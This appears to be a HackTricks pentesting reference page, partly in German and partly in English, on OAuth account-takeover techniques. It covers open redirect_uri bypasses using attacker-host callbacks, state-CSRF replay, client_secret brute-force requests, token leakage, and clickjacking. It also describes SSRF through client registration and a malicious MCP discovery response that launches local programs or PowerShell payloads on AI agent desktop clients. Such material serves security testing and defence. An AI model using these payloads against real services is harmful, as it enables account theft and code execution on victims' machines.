OAuth to Account takeover
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
OAuth bietet verschiedene Versionen; grundlegende Informationen finden sich unter OAuth 2.0 documentation. Diese Diskussion konzentriert sich hauptsächlich auf den weit verbreiteten OAuth 2.0 authorization code grant type, der ein Autorisierungs-Framework bereitstellt, das einer Anwendung ermöglicht, auf das Konto eines Nutzers in einer anderen Anwendung zuzugreifen oder Aktionen in dessen Namen durchzuführen (the authorization server).
Betrachten wir eine hypothetische Website https://example.com, die dazu dient, alle deine Social-Media-Posts anzuzeigen, einschließlich privater. Dafür wird OAuth 2.0 verwendet. https://example.com wird dich um Erlaubnis bitten, auf deine Social-Media-Posts zuzugreifen. In der Folge erscheint auf https://socialmedia.com ein Consent-Screen, der die angeforderten Berechtigungen und den anfragenden Entwickler darstellt. Nach deiner Autorisierung erhält https://example.com die Möglichkeit, in deinem Namen auf deine Posts zuzugreifen.
Es ist wichtig, die folgenden Komponenten im OAuth 2.0-Framework zu verstehen:
- resource owner: Du, als user/entity, erteilst die Berechtigung für den Zugriff auf deine Ressource, z. B. die Posts deines Social-Media-Accounts.
- resource server: Der Server, der authentifizierte Anfragen verarbeitet, nachdem die Anwendung im Namen des
resource ownereinaccess_tokenerhalten hat, z. B. https://socialmedia.com. - client application: Die Anwendung, die Autorisierung vom
resource owneranfragt, wie z. B. https://example.com. - authorization server: Der Server, der
access_tokensan dieclient applicationausgibt, nachdem derresource ownererfolgreich authentifiziert wurde und die Autorisierung erteilt hat, z. B. https://socialmedia.com. - client_id: Ein öffentlicher, eindeutiger Identifier für die Anwendung.
- client_secret: Ein geheimer Schlüssel, der nur der Anwendung und dem authorization server bekannt ist und zur Erzeugung von
access_tokensverwendet wird. - response_type: Ein Wert, der den angeforderten Token-Typ angibt, z. B.
code. - scope: Der Zugriffsumfang, den die
client applicationvomresource owneranfordert. - redirect_uri: Die URL, zu der der Nutzer nach der Autorisierung weitergeleitet wird. Diese muss in der Regel mit der vorregistrierten Redirect-URL übereinstimmen.
- state: Ein Parameter zur Aufrechterhaltung von Daten während der Weiterleitung des Nutzers zum und vom authorization server. Seine Einzigartigkeit ist wichtig, da er als CSRF-Schutzmechanismus dient.
- grant_type: Ein Parameter, der den Grant-Typ und die Art des zurückzugebenden Tokens angibt.
- code: Der Autorisierungscode vom
authorization server, den die client application zusammen mitclient_idundclient_secretverwendet, um einaccess_tokenzu erhalten. - access_token: Das Token, das die client application für API-Anfragen im Namen des
resource ownerverwendet. - refresh_token: Ermöglicht der Anwendung, ein neues
access_tokenzu erhalten, ohne den Nutzer erneut zu fragen.
Flow
Der eigentliche OAuth-Flow verläuft wie folgt:
- Du rufst https://example.com auf und wählst die Schaltfläche „Mit Social Media verbinden“.
- Die Seite sendet dann eine Anfrage an https://socialmedia.com, um deine Autorisierung zu erbitten, damit die Anwendung von https://example.com auf deine Posts zugreifen darf. Die Anfrage ist wie folgt aufgebaut:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- Ihnen wird dann eine Zustimmungsseite angezeigt.
- Nach Ihrer Zustimmung sendet Social Media eine Antwort an die
redirect_urimit den Parameterncodeundstate:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com nutzt diesen
codezusammen mit seinemclient_idundclient_secret, um serverseitig eine Anfrage zu stellen und in Ihrem Namen einaccess_tokenzu erhalten, das Zugriff auf die von Ihnen genehmigten Berechtigungen ermöglicht:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- Schließlich schließt sich der Prozess, wenn https://example.com dein
access_tokenverwendet, um einen API-Aufruf an soziale Medien zu machen, um auf
Schwachstellen
Offene redirect_uri
Laut RFC 6749 §3.1.2 darf der authorization server den Browser nur zu vorkonfigurierten, exakten redirect URIs umleiten. Jede Schwäche hier ermöglicht es einem Angreifer, ein Opfer durch eine bösartige authorization URL zu schicken, sodass der IdP den code (und state) des Opfers direkt an einen Angreifer-Endpunkt liefert, der ihn dann einlösen und Tokens abgreifen kann.
Typischer Angriffsablauf:
- Erstelle
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callbackund sende sie an das Opfer. - Das Opfer authentifiziert sich und genehmigt die scopes.
- Der IdP leitet zu
attacker.tld/callback?code=<victim-code>&state=...weiter, wo der Angreifer die Anfrage protokolliert und den Code sofort einlöst.
Häufige Validierungsfehler, die zu testen sind:
- Keine Validierung – jede absolute URL wird akzeptiert, was zu instantanem Code-Diebstahl führt.
- Schwache Substring-/Regex-Prüfungen auf dem Host – Umgehung mit Lookalikes wie
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.comodermatch.com@evil.com. - IDN-Homograph-Mismatches – die Validierung erfolgt an der punycode-Form (
xn--), aber der Browser leitet zur Unicode-Domain weiter, die vom Angreifer kontrolliert wird. - Beliebige Pfade auf einem erlaubten Host – das Setzen von
redirect_uriauf/openredirect?next=https://attacker.tldoder jeden XSS-/user-content-Endpunkt leaks the code entweder durch verkettete Redirects, Referer-Header oder injizierten JavaScript. - Directory-Constraints ohne Normalisierung – Muster wie
/oauth/*können mit/oauth/../anythingumgangen werden. - Wildcard-Subdomains – die Akzeptanz von
*.example.combedeutet, dass jede Übernahme (dangling DNS, S3 bucket, etc.) sofort einen gültigen Callback liefert. - Nicht-HTTPS callbacks – das Durchlassen von
http://URIs gibt Netzwerkangreifern (Wi‑Fi, Corporate Proxy) die Möglichkeit, den Code während der Übertragung abzufangen.
Überprüfe außerdem Hilfs-Redirect-ähnliche Parameter (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) und das OpenID-Discovery-Dokument (/.well-known/openid-configuration) auf zusätzliche Endpunkte, die möglicherweise dieselben Validierungsfehler erben.
Redirect token leakage on allowlisted domains with attacker-controlled subpaths
Das Einschränken von redirect_uri auf „eigene/First‑Party‑Domains“ hilft nicht, wenn irgendeine allowlisted Domain angreifer‑kontrollierte Pfade oder Ausführungskontexte (Legacy-App‑Plattformen, user namespaces, CMS‑Uploads, etc.) exponiert. Wenn der OAuth-/federated login flow Tokens in der URL zurückgibt (query oder hash), kann ein Angreifer:
- Einen legitimen Flow starten, um ein pre-token zu erzeugen (z. B. ein
etokenin einem mehrstufigen Accounts Center/FXAuth‑Flow). - Dem Opfer eine authorization URL senden, die die allowlisted Domain als
redirect_uri/base_urisetzt, abernext/Pfad in einen angreifer‑kontrollierten Namespace zeigt (z. B.https://apps.facebook.com/<attacker_app>). - Nachdem das Opfer genehmigt hat, leitet der IdP zur angreifer‑kontrollierten Route mit sensiblen Werten in der URL weiter (
token,blob, codes, etc.). - JavaScript auf dieser Seite liest
window.locationund exfiltriert die Werte, trotz der Domain, die als „trusted“ gilt. - Die erfassten Werte gegen downstream privilegierte Endpunkte replayen, die nur die redirect‑übermittelten Tokens erwarten. Beispiele aus dem FXAuth‑Flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
XSS in Redirect-Implementierung
Wie in diesem Bug-Bounty-Report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html erwähnt, könnte es möglich sein, dass die Redirect URL in der Antwort des Servers reflektiert wird, nachdem sich der Benutzer authentifiziert hat, und somit anfällig für XSS ist. Mögliche Payload zum Testen:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
CSRF - Unsachgemäße Behandlung des state-Parameters
Der state-Parameter ist der Authorization Code flow CSRF-Token: der Client muss für jede Browser-Instanz einen kryptographisch zufälligen Wert erzeugen, diesen an einem Ort speichern, den nur dieser Browser lesen kann (Cookie, local storage, etc.), ihn in der Authorization-Anfrage mitsenden und jede Antwort ablehnen, die nicht denselben Wert zurückgibt. Sobald der Wert statisch, vorhersehbar, optional oder nicht an die Sitzung des Benutzers gebunden ist, kann ein Angreifer seinen eigenen OAuth-Flow abschließen, die finale ?code=-Anfrage abfangen (ohne sie abzusenden) und später den Browser eines Opfers dazu zwingen, diese Anfrage zu wiederholen, sodass das Opferkonto mit dem Identity-Provider-Profil des Angreifers verknüpft wird.
Das Replay-Muster ist immer gleich:
- Der Angreifer authentifiziert sich beim IdP mit seinem Account und fängt das letzte Redirect mit
code(und ggf.state) ab. - Er verwirft diese Anfrage, behält die URL und zwingt später den Browser des Opfers mit einem beliebigen CSRF-Primitive (Link, iframe, auto-submitting form), sie zu laden.
- Wenn der Client
statenicht durchsetzt, konsumiert die Anwendung das Autorisierungsergebnis des Angreifers und loggt den Angreifer im Account des Opfers ein.
Praktische Checkliste für den Umgang mit state während Tests:
- Missing
stateentirely – erscheint der Parameter nie, ist der gesamte Login per CSRF angreifbar. statenot required – entferne ihn aus der initialen Anfrage; stellt der IdP trotzdem Codes aus, die der Client akzeptiert, ist die Verteidigung opt-in.- Returned
statenot validated – manipuliere den Wert in der Antwort (Burp, MITM-Proxy). Akzeptierte, nicht übereinstimmende Werte bedeuten, dass das gespeicherte Token nie verglichen wird. - Predictable or purely data-driven
state– viele Apps packen Redirect-Pfade oder JSON-Blobs instate, ohne Zufälligkeit einzumischen, sodass Angreifer gültige Werte erraten und Flows wiederholen können. Immer starke Entropie vor dem Kodieren der Daten voran-/anhängen. statefixation – erlaubt die App es Nutzern, denstate-Wert festzulegen (z. B. via manipulierten authorization URLs) und wiederzuverwenden, kann ein Angreifer einen bekannten Wert festsetzen und über mehrere Opfer hinweg wiederverwenden.
PKCE kann state ergänzen (insbesondere für public clients), indem es den Authorization Code an einen code verifier bindet, aber Web-Clients müssen state weiterhin verfolgen, um Cross-User CSRF-/Account-Linking-Bugs zu verhindern.
Vor der Account-Übernahme
- Ohne E-Mail-Verifikation bei Kontoerstellung: Angreifer können präventiv ein Konto mit der E-Mail des Opfers erstellen. Nutzt das Opfer später einen Drittanbieter zum Login, könnte die Anwendung versehentlich dieses Drittanbieter-Konto mit dem vom Angreifer vorab erstellten Konto verknüpfen, was zu unautorisiertem Zugriff führt.
- Ausnutzung laxer OAuth-E-Mail-Verifikation: Angreifer können OAuth-Dienste ausnutzen, die E-Mails nicht verifizieren, indem sie sich registrieren und dann die Account-E-Mail auf die des Opfers ändern. Diese Methode führt ähnlich zu unautorisiertem Zugriff wie das erste Szenario, nutzt aber einen anderen Angriffsvektor.
Disclosure of Secrets
Der client_id ist absichtlich öffentlich, aber das client_secret darf niemals von Endbenutzern wiederherstellbar sein. Authorization Code-Deployments, die das Secret in mobile APKs, Desktop-Clients oder single-page apps einbetten, übergeben diese Anmeldeinformation faktisch an jeden, der das Paket herunterladen kann. Öffentliche Clients immer prüfen durch:
- Entpacken der APK/IPA, des Desktop-Installers oder der Electron-App und Grep/Scan nach
client_secret, Base64-Blobs, die zu JSON decodieren, oder hartkodierten OAuth-Endpunkten. - Überprüfen gebündelter Konfigurationsdateien (plist, JSON, XML) oder dekompilierter Strings auf Client-Credentials.
Sobald ein Angreifer das Secret extrahiert hat, muss er nur noch einen beliebigen Autorisierungscode des Opfers stehlen (via schwacher redirect_uri, Logs, etc.), um unabhängig /token anzufragen und access/refresh tokens zu minten, ohne die legitime App zu involvieren. Behandle public/native Clients als nicht in der Lage, Secrets sicher zu halten — sie sollten stattdessen auf PKCE (RFC 7636) setzen, um den Besitz eines pro-Instanz code verifier statt eines statischen Secrets nachzuweisen. Prüfe beim Testen, ob PKCE verpflichtend ist und ob das Backend Token-Exchanges ablehnt, die weder das client_secret noch einen gültigen code_verifier enthalten.
Client Secret Bruteforce
You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
Sobald der Client die code und state hat: wenn diese in location.href oder document.referrer auftauchen und an Dritte weitergeleitet werden, leak. Zwei wiederkehrende Muster:
- Classic Referer leak: Nach dem OAuth-Redirect wird jede Navigation, die
?code=&state=in der URL beibehält, diese in den Referer-Header schiebt, der an CDNs/analytics/ads gesendet wird. - Telemetry/analytics confused deputy: Einige SDKs (pixels/JS loggers) reagieren auf
postMessage-Events und senden dann die aktuellelocation.href/referreran Backend-APIs using a token supplied in the message. Wenn du dein eigenes token in diesen Flow injizieren kannst (z. B. via einen attacker-controlled postMessage relay), kannst du später die API-Request-History/Logs des SDKs lesen und die in diesen Requests eingebetteten OAuth-Artefakte des Opfers wiederherstellen.
Access Token Stored in Browser History
Das zentrale Versprechen des Authorization Code grant ist, dass access tokens niemals den Browser des resource owners erreichen. Wenn Implementierungen tokens client-seitig leak, wird jeder kleine Bug (XSS, Referer leak, proxy logging) sofort zur Kontoübernahme. Prüfe immer:
- Tokens in URLs – wenn
access_tokenin Query/Fragment erscheint, landet er im Browser-Verlauf, in Server-Logs, Analytics und in Referer-Headern, die an Dritte gesendet werden. - Tokens transiting untrusted middleboxes – Tokens über HTTP oder durch Debugging/corporate Proxies zurückzugeben erlaubt Netzwerkbeobachtern, sie direkt abzufangen.
- Tokens stored in JavaScript state – React/Vue stores, globale Variablen oder serialisierte JSON-Blobs setzen Tokens jedem Script auf der Origin aus (inkl. XSS-Payloads oder bösartigen Extensions).
- Tokens persisted in Web Storage –
localStorage/sessionStoragebehalten Tokens lange nach dem Logout auf gemeinsamen Geräten und sind per Script zugänglich.
Jeder dieser Fund erhöht normalerweise sonst “niedrige” Bugs (wie ein CSP-Bypass oder DOM XSS) zu einer vollständigen API-Übernahme, weil ein Angreifer das geleakte bearer token einfach auslesen und replayen kann.
Everlasting Authorization Code
Authorization codes müssen kurzlebig, einmalig und replay-aware sein. Beim Testen eines Flows capture einen code und:
- Test the lifetime – RFC 6749 empfiehlt Minuten, nicht Stunden. Versuche, den code nach 5–10 Minuten einzulösen; wenn er noch funktioniert, ist das Exposure-Fenster für geleakte Codes zu groß.
- Test sequential reuse – sende denselben
codezweimal. Wenn die zweite Anfrage wieder ein token liefert, können Angreifer Sessions unendlich klonen. - Test concurrent redemption/race conditions – feuere zwei Token-Anfragen parallel ab (Burp intruder, turbo intruder). Schwache Issuer gewähren manchmal beide.
- Observe replay handling – ein Wiederverwendungsversuch sollte nicht nur fehlschlagen, sondern auch bereits aus diesem Code ausgestellte Tokens revoken. Andernfalls lässt ein entdeckter Replay das erste Token des Angreifers aktiv.
Die Kombination eines replay-freundlichen Codes mit beliebigem redirect_uri- oder Logging-Bug ermöglicht persistenten Account-Zugriff, selbst nachdem das Opfer den legitimen Login abgeschlossen hat.
Authorization/Refresh Token not bound to client
Wenn du den authorization code bekommst und ihn für einen anderen client/app einlöst, kannst du andere Accounts takeover. Teste schwache Bindung durch:
- Capture eines
codefür app A und sende ihn an app B’s token endpoint; wenn du trotzdem ein token erhältst, ist die Audience-Bindung gebrochen. - Ausprobieren von first-party Token-Minting-Endpunkten, die auf ihre eigenen client IDs beschränkt sein sollten; akzeptieren sie arbitrary
state/app_idwährend sie nur den code validieren, führst du effektiv einen authorization-code swap durch, um höher privilegierte first-party tokens zu minten. - Prüfen, ob Client-Bindung nonce/redirect URI-Mismatches ignoriert. Wenn eine Error-Page immer noch SDKs lädt, die
location.hrefloggen, kombiniere das mit Referer/telemetry leaks, um Codes zu stehlen und woanders einzulösen.
Jeder Endpoint, der code → token tauscht, must den ausstellenden Client, die redirect URI und den nonce verifizieren; andernfalls kann ein gestohlener Code aus jeder App zu einem first-party access token upgraded werden.
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
In diesem Bug-Bounty-Report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ sieht man, dass das token, das AWS Cognito dem Benutzer zurückgibt, möglicherweise genügend Berechtigungen hat, um die User-Daten zu überschreiben. Daher könntest du, wenn du die user email für eine andere user email ändern kannst, möglicherweise die Accounts anderer übernehmen.
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
Für detailliertere Informationen darüber, wie man AWS Cognito missbraucht, siehe AWS Cognito - Unauthenticated Enum Access.
Abusing other Apps tokens
As mentioned in this writeup, OAuth flows that expect to receive the token (and not a code) could be vulnerable if they not check that the token belongs to the app.
This is because an attacker could create an application supporting OAuth and login with Facebook (for example) in his own application. Then, once a victim logins with Facebook in the attackers application, the attacker could get the OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.
Caution
Therefore, if the attacker manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and aren’t checking if the token was granted to their app ID.
Two links & cookie
According to this writeup, it was possible to make a victim open a page with a returnUrl pointing to the attackers host. This info would be stored in a cookie (RU) and in a later step the prompt will ask the user if he wants to give access to that attackers host.
To bypass this prompt, it was possible to open a tab to initiate the Oauth flow that would set this RU cookie using the returnUrl, close the tab before the prompt is shown, and open a new tab without that value. Then, the prompt won’t inform about the attackers host, but the cookie would be set to it, so the token will be sent to the attackers host in the redirection.
Prompt Interaction Bypass
As explained in this video, some OAuth implementations allows to indicate the prompt GET parameter as None (&prompt=none) to prevent users being asked to confirm the given access in a prompt in the web if they are already logged in the platform.
response_mode
As explained in this video, it might be possible to indicate the parameter response_mode to indicate where do you want the code to be provided in the final URL:
response_mode=query-> The code is provided inside a GET parameter:?code=2397rf3gu93fresponse_mode=fragment-> The code is provided inside the URL fragment parameter#code=2397rf3gu93fresponse_mode=form_post-> The code is provided inside a POST form with an input calledcodeand the valueresponse_mode=web_message-> The code is send in a post message:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
Clickjacking targets are ideal für OAuth consent/login dialogs: wenn sie framebar sind, kann ein Angreifer eigene Grafiken überlagern, die echten Buttons verbergen und Nutzer dazu bringen, gefährliche Scopes zu genehmigen oder Konten zu verknüpfen. Baue PoCs, die:
- Die IdP authorization URL innerhalb eines
<iframe sandbox="allow-forms allow-scripts allow-same-origin">laden. - Absolute Positionierung/Opacity-Tricks nutzen, um gefälschte Buttons mit den versteckten Allow/Approve-Kontrollen auszurichten.
- Optional Parameter vorbefüllen (scopes, redirect URI), sodass die gestohlene Zustimmung dem Angreifer sofort zugutekommt.
Während der Tests verifiziere, dass IdP-Seiten entweder X-Frame-Options: DENY/SAMEORIGIN oder eine restriktive Content-Security-Policy: frame-ancestors 'none' setzen. Falls keines davon vorhanden ist, demonstriere das Risiko mit Tools wie NCC Group’s clickjacking PoC generator und zeichne auf, wie einfach ein Opfer die app des attackers autorisiert. Für zusätzliche Payload-Ideen siehe Clickjacking.
OAuth ROPC flow - 2 FA bypass
According to this blog post, this is an OAuth flow that allows to login in OAuth via username and password. If during this simple flow a token with access to all the actions the user can perform is returned then it’s possible to bypass 2FA using that token.
ATO on web page redirecting based on open redirect to referrer
This blogpost comments how it was possible to abuse an open redirect to the value from the referrer to abuse OAuth to ATO. The attack was:
- Victim access the attackers web page
- The victim opens the malicious link and an opener starts the Google OAuth flow with
response_type=id_token,code&prompt=noneas additional parameters using as referrer the attackers website. - In the opener, after the provider authorizes the victim, it sends them back to the value of the
redirect_uriparameter (victim web) with 30X code which still keeps the attackers website in the referer. - The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the
respose_typewasid_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.
SSRFs parameters
Check this research For further details of this technique.
Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for Server-Side Request Forgery (SSRF) attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.
Key Points:
- Dynamic Client Registration is often mapped to
/registerand accepts details likeclient_name,client_secret,redirect_uris, and URLs for logos or JSON Web Key Sets (JWKs) via POST requests. - This feature adheres to specifications laid out in RFC7591 and OpenID Connect Registration 1.0, which include parameters potentially vulnerable to SSRF.
- The registration process can inadvertently expose servers to SSRF in several ways:
logo_uri: A URL for the client application’s logo that might be fetched by the server, triggering SSRF or leading to XSS if the URL is mishandled.jwks_uri: A URL to the client’s JWK document, which if maliciously crafted, can cause the server to make outbound requests to an attacker-controlled server.sector_identifier_uri: References a JSON array ofredirect_uris, which the server might fetch, creating an SSRF opportunity.request_uris: Lists allowed request URIs for the client, which can be exploited if the server fetches these URIs at the start of the authorization process.
Exploitation Strategy:
- SSRF can be triggered by registering a new client with malicious URLs in parameters like
logo_uri,jwks_uri, orsector_identifier_uri. - While direct exploitation via
request_urismay be mitigated by whitelist controls, supplying a pre-registered, attacker-controlledrequest_urican facilitate SSRF during the authorization phase.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) shows how dynamic OAuth discovery becomes an RCE primitive whenever the client forwards IdP metadata straight to the operating system. The remote MCP server returns an attacker-controlled authorization_endpoint during the discovery exchange (/.well-known/openid-configuration or any metadata RPC). mcp-remote ≤0.1.15 would then call the system URL handler (start, open, xdg-open, etc.) with whatever string arrived, so any scheme/path supported by the OS executed locally.
Attack workflow
- Point the desktop agent to a hostile MCP/OAuth server (
npx mcp-remote https://evil). The agent receives401plus metadata. - The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- Der Client startet den OS-Handler für die angegebene URI. Windows akzeptiert Payloads wie
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux akzeptierenfile:///Applications/Calculator.app/...oder sogar benutzerdefinierte Schemes wiecmd://bash -lc '<payload>', falls registriert. - Da dies vor jeglicher Benutzerinteraktion geschieht, führt allein das Konfigurieren des Clients, damit er mit dem Angreifer-Server kommuniziert, zur Codeausführung.
How to test
- Ziel jeden OAuth-fähigen Desktop/Agenten an, der discovery über HTTP(S) durchführt und zurückgegebene Endpunkte lokal öffnet (Electron apps, CLI helpers, thick clients).
- Interzeptiere oder hoste die discovery-Antwort und ersetze
authorization_endpoint,device_authorization_endpointoder ähnliche Felder durchfile://,cmd://, UNC-Pfade oder andere gefährliche Schemes. - Prüfe, ob der Client das Scheme/Host validiert. Fehlt die Validierung, resultiert das in sofortiger Ausführung im Benutzerkontext und beweist die Schwachstelle.
- Wiederhole mit unterschiedlichen Schemes, um die gesamte Angriffsfläche abzubilden (z. B.
ms-excel:,data:text/html,, custom protocol handlers) und die plattformübergreifende Reichweite zu demonstrieren.
OAuth providers Race Conditions
If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.
Mutable Claims Attack
In OAuth identifiziert das Feld sub einen Benutzer eindeutig, aber sein Format variiert je nach Authorization Server. Um die Benutzeridentifikation zu standardisieren, verwenden einige Clients E‑Mails oder Benutzerhandles. Das ist jedoch riskant, weil:
- Einige Authorization Servers stellen nicht sicher, dass diese Eigenschaften (wie email) unveränderlich bleiben.
- In bestimmten Implementierungen—wie “Login with Microsoft”—vertraut der Client auf das email-Feld, das vom Benutzer in Entra ID gesteuert wird und nicht verifiziert ist.
- Ein Angreifer kann dies ausnutzen, indem er eine eigene Azure AD-Organisation erstellt (z. B. doyensectestorg) und diese für einen Microsoft-Login verwendet.
- Obwohl die Object ID (im sub gespeichert) unveränderlich und sicher ist, kann die Abhängigkeit von einem veränderbaren email-Feld eine account takeover ermöglichen (zum Beispiel die Übernahme eines Kontos wie victim@gmail.com).
Client Confusion Attack
In a Client Confusion Attack versäumt eine Anwendung, die den OAuth Implicit Flow verwendet, zu prüfen, ob das finale access token speziell für ihre eigene Client ID erzeugt wurde. Ein Angreifer richtet eine öffentliche Website ein, die Googles OAuth Implicit Flow nutzt, bringt Tausende von Nutzern dazu, sich einzuloggen, und sammelt so access tokens, die für die Seite des Angreifers bestimmt sind. Haben diese Nutzer außerdem Konten auf einer anderen anfälligen Website, die die Client ID des Tokens nicht validiert, kann der Angreifer die gesammelten Tokens wiederverwenden, um die Opfer zu impersonifizieren und ihre Konten zu übernehmen.
Scope Upgrade Attack
Der Typ Authorization Code Grant beinhaltet sichere Server‑zu‑Server-Kommunikation zum Übertragen von Benutzerdaten. Wenn jedoch der Authorization Server einem scope-Parameter in der Access Token Request implizit vertraut (ein Parameter, der nicht im RFC definiert ist), könnte eine bösartige Anwendung die Berechtigungen eines authorization code erweitern, indem sie einen höheren scope anfordert. Nachdem das Access Token erzeugt wurde, muss der Resource Server es verifizieren: Bei JWT-Tokens bedeutet das, die JWT-Signatur zu prüfen und Daten wie client_id und scope zu extrahieren; bei zufällig erzeugten String-Tokens muss der Server den Authorization Server abfragen, um die Token-Details zu erhalten.
Redirect Scheme Hijacking
In mobilen OAuth-Implementierungen verwenden Apps custom URI schemes, um Redirects mit Authorization Codes zu empfangen. Da jedoch mehrere Apps dasselbe Scheme auf einem Gerät registrieren können, ist die Annahme, dass nur der legitime Client die Redirect URI kontrolliert, verletzt. Auf Android wird beispielsweise eine Intent URI wie com.example.app:// oauth anhand des Schemes und optionaler Filter im intent-filter einer App gefangen. Da die Intent-Resolution von Android sehr breit sein kann—insbesondere wenn nur das Scheme angegeben ist—kann ein Angreifer eine bösartige App mit einem sorgfältig gestalteten intent filter registrieren, um den authorization code zu kapern. Dies kann ein account takeover ermöglichen, entweder durch Benutzerinteraktion (wenn mehrere Apps berechtigt sind, die Intent zu handhaben) oder durch Bypass-Techniken, die zu spezifische Filter ausnutzen, wie im Ostorlab-Assessment-Flowchart beschrieben.
References
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


